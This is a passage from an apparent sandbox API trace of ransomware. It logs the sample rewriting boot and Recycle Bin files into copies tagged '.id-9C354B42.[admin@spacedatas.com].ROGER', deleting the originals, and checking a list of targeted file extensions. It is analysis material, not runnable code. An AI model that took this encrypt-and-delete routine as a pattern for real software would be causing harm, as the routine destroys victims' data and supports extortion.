(lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0037.152] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.152] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.152] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.152] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.152] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0037.152] GetLastError () returned 0x0 [0037.152] ReadFile (in: hFile=0x34c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x81, lpOverlapped=0x0) returned 1 [0037.160] WriteFile (in: hFile=0x348, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x90, lpOverlapped=0x0) returned 1 [0037.161] ReadFile (in: hFile=0x34c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0037.161] WriteFile (in: hFile=0x348, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0037.161] SetEndOfFile (hFile=0x348) returned 1 [0037.161] CloseHandle (hObject=0x348) returned 1 [0037.162] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.162] SetEndOfFile (hFile=0x34c) returned 1 [0037.163] CloseHandle (hObject=0x34c) returned 1 [0037.163] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x26) returned 1 [0037.164] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0037.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.164] lstrlenW (lpString=".doc") returned 4 [0037.164] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0037.164] lstrlenW (lpString=".docx") returned 5 [0037.164] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0037.164] lstrlenW (lpString=".pdf") returned 4 [0037.164] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0037.164] lstrlenW (lpString=".xls") returned 4 [0037.164] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0037.164] lstrlenW (lpString=".xlsx") returned 5 [0037.164] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0037.164] lstrlenW (lpString=".ppt") returned 4 [0037.164] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0037.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.164] lstrlenW (lpString=".zip") returned 4 [0037.164] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0037.164] lstrlenW (lpString=".rar") returned 4 [0037.164] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0037.164] lstrlenW (lpString=".bz2") returned 4 [0037.164] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0037.164] lstrlenW (lpString=".7z") returned 3 [0037.164] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.165] lstrlenW (lpString=".dbf") returned 4 [0037.165] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.165] lstrlenW (lpString=".1cd") returned 4 [0037.165] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.165] lstrlenW (lpString=".jpg") returned 4 [0037.165] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.165] lstrlenW (lpString=".doc") returned 4 [0037.165] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0037.165] lstrlenW (lpString=".docx") returned 5 [0037.165] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0037.165] lstrlenW (lpString=".pdf") returned 4 [0037.165] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0037.165] lstrlenW (lpString=".xls") returned 4 [0037.165] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0037.165] lstrlenW (lpString=".xlsx") returned 5 [0037.165] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0037.165] lstrlenW (lpString=".ppt") returned 4 [0037.165] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.165] lstrlenW (lpString=".zip") returned 4 [0037.165] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0037.165] lstrlenW (lpString=".rar") returned 4 [0037.165] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0037.165] lstrlenW (lpString=".bz2") returned 4 [0037.165] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0037.165] lstrlenW (lpString=".7z") returned 3 [0037.165] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0037.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.166] lstrlenW (lpString=".dbf") returned 4 [0037.166] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0037.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.166] lstrlenW (lpString=".1cd") returned 4 [0037.166] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0037.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.166] lstrlenW (lpString=".jpg") returned 4 [0037.166] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0037.166] lstrcmpiW (lpString1=".LOG", lpString2=".ROGER") returned -1 [0037.166] lstrlenW (lpString="BCD.LOG") returned 7 [0037.166] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.166] lstrlenW (lpString=".doc") returned 4 [0037.166] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0037.166] lstrlenW (lpString=".docx") returned 5 [0037.166] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0037.166] lstrlenW (lpString=".pdf") returned 4 [0037.166] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0037.166] lstrlenW (lpString=".xls") returned 4 [0037.166] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0037.166] lstrlenW (lpString=".xlsx") returned 5 [0037.166] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0037.166] lstrlenW (lpString=".ppt") returned 4 [0037.166] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0037.166] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.166] lstrlenW (lpString=".zip") returned 4 [0037.166] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString=".rar") returned 4 [0037.167] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString=".bz2") returned 4 [0037.167] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0037.167] lstrlenW (lpString=".7z") returned 3 [0037.167] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0037.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.167] lstrlenW (lpString=".dbf") returned 4 [0037.167] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0037.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.167] lstrlenW (lpString=".1cd") returned 4 [0037.167] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0037.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.167] lstrlenW (lpString=".jpg") returned 4 [0037.167] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0037.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.167] lstrlenW (lpString=".doc") returned 4 [0037.167] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0037.167] lstrlenW (lpString=".docx") returned 5 [0037.167] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0037.167] lstrlenW (lpString=".pdf") returned 4 [0037.167] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString=".xls") returned 4 [0037.167] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString=".xlsx") returned 5 [0037.167] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0037.167] lstrlenW (lpString=".ppt") returned 4 [0037.167] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.167] lstrlenW (lpString=".zip") returned 4 [0037.167] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString=".rar") returned 4 [0037.167] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0037.167] lstrlenW (lpString=".bz2") returned 4 [0037.168] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0037.168] lstrlenW (lpString=".7z") returned 3 [0037.168] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0037.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.168] lstrlenW (lpString=".dbf") returned 4 [0037.168] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0037.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.168] lstrlenW (lpString=".1cd") returned 4 [0037.168] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0037.168] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0037.168] lstrlenW (lpString=".jpg") returned 4 [0037.168] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0037.168] lstrcmpiW (lpString1=".DAT", lpString2=".ROGER") returned -1 [0037.168] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0037.168] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.168] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=65536) returned 1 [0037.168] CloseHandle (hObject=0x34c) returned 1 [0037.168] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0037.169] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.169] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.169] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.169] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.169] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0037.169] GetLastError () returned 0x0 [0037.169] ReadFile (in: hFile=0x34c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x10000, lpOverlapped=0x0) returned 1 [0037.172] WriteFile (in: hFile=0x348, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x10010, lpOverlapped=0x0) returned 1 [0037.174] ReadFile (in: hFile=0x34c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0037.174] WriteFile (in: hFile=0x348, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.174] SetEndOfFile (hFile=0x348) returned 1 [0037.174] CloseHandle (hObject=0x348) returned 1 [0037.175] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.175] SetEndOfFile (hFile=0x34c) returned 1 [0037.177] CloseHandle (hObject=0x34c) returned 1 [0037.177] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x26) returned 1 [0037.177] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0037.177] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.177] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.177] lstrlenW (lpString=".doc") returned 4 [0037.177] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0037.177] lstrlenW (lpString=".docx") returned 5 [0037.177] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0037.177] lstrlenW (lpString=".pdf") returned 4 [0037.177] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0037.177] lstrlenW (lpString=".xls") returned 4 [0037.177] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0037.177] lstrlenW (lpString=".xlsx") returned 5 [0037.177] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0037.177] lstrlenW (lpString=".ppt") returned 4 [0037.177] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString=".zip") returned 4 [0037.178] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString=".rar") returned 4 [0037.178] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString=".bz2") returned 4 [0037.178] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0037.178] lstrlenW (lpString=".7z") returned 3 [0037.178] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString=".dbf") returned 4 [0037.178] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString=".1cd") returned 4 [0037.178] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString=".jpg") returned 4 [0037.178] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString=".doc") returned 4 [0037.178] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString=".docx") returned 5 [0037.178] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0037.178] lstrlenW (lpString=".pdf") returned 4 [0037.178] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString=".xls") returned 4 [0037.178] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString=".xlsx") returned 5 [0037.178] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0037.178] lstrlenW (lpString=".ppt") returned 4 [0037.178] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0037.178] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.178] lstrlenW (lpString=".zip") returned 4 [0037.178] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0037.179] lstrlenW (lpString=".rar") returned 4 [0037.179] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0037.179] lstrlenW (lpString=".bz2") returned 4 [0037.179] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0037.179] lstrlenW (lpString=".7z") returned 3 [0037.179] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0037.179] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.179] lstrlenW (lpString=".dbf") returned 4 [0037.179] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0037.179] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.179] lstrlenW (lpString=".1cd") returned 4 [0037.179] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0037.179] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0037.179] lstrlenW (lpString=".jpg") returned 4 [0037.179] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0037.179] lstrcmpiW (lpString1=".BAK", lpString2=".ROGER") returned -1 [0037.179] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0037.179] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.180] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=8192) returned 1 [0037.180] CloseHandle (hObject=0x34c) returned 1 [0037.180] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0037.180] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\bootsect.bak.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.180] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0037.181] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.181] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.181] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.181] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\bootsect.bak.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0037.181] GetLastError () returned 0x0 [0037.181] ReadFile (in: hFile=0x34c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x2000, lpOverlapped=0x0) returned 1 [0037.182] WriteFile (in: hFile=0x348, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2010, lpOverlapped=0x0) returned 1 [0037.183] ReadFile (in: hFile=0x34c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0037.183] WriteFile (in: hFile=0x348, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.183] SetEndOfFile (hFile=0x348) returned 1 [0037.184] CloseHandle (hObject=0x348) returned 1 [0037.184] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.184] SetEndOfFile (hFile=0x34c) returned 1 [0037.185] CloseHandle (hObject=0x34c) returned 1 [0037.185] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x27) returned 1 [0037.185] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0037.186] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.186] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.186] lstrlenW (lpString=".doc") returned 4 [0037.186] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString=".docx") returned 5 [0037.186] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0037.186] lstrlenW (lpString=".pdf") returned 4 [0037.186] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString=".xls") returned 4 [0037.186] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString=".xlsx") returned 5 [0037.186] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0037.186] lstrlenW (lpString=".ppt") returned 4 [0037.186] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.186] lstrlenW (lpString=".zip") returned 4 [0037.186] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString=".rar") returned 4 [0037.186] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString=".bz2") returned 4 [0037.186] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString=".7z") returned 3 [0037.186] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0037.186] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.186] lstrlenW (lpString=".dbf") returned 4 [0037.186] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0037.186] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.186] lstrlenW (lpString=".1cd") returned 4 [0037.186] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0037.186] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.186] lstrlenW (lpString=".jpg") returned 4 [0037.186] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.187] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.187] lstrlenW (lpString=".doc") returned 4 [0037.187] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString=".docx") returned 5 [0037.187] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0037.187] lstrlenW (lpString=".pdf") returned 4 [0037.187] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString=".xls") returned 4 [0037.187] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString=".xlsx") returned 5 [0037.187] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0037.187] lstrlenW (lpString=".ppt") returned 4 [0037.187] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0037.187] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0037.187] lstrlenW (lpString=".zip") returned 4 [0037.187] lstrcmpiW (lpString1=".zip", 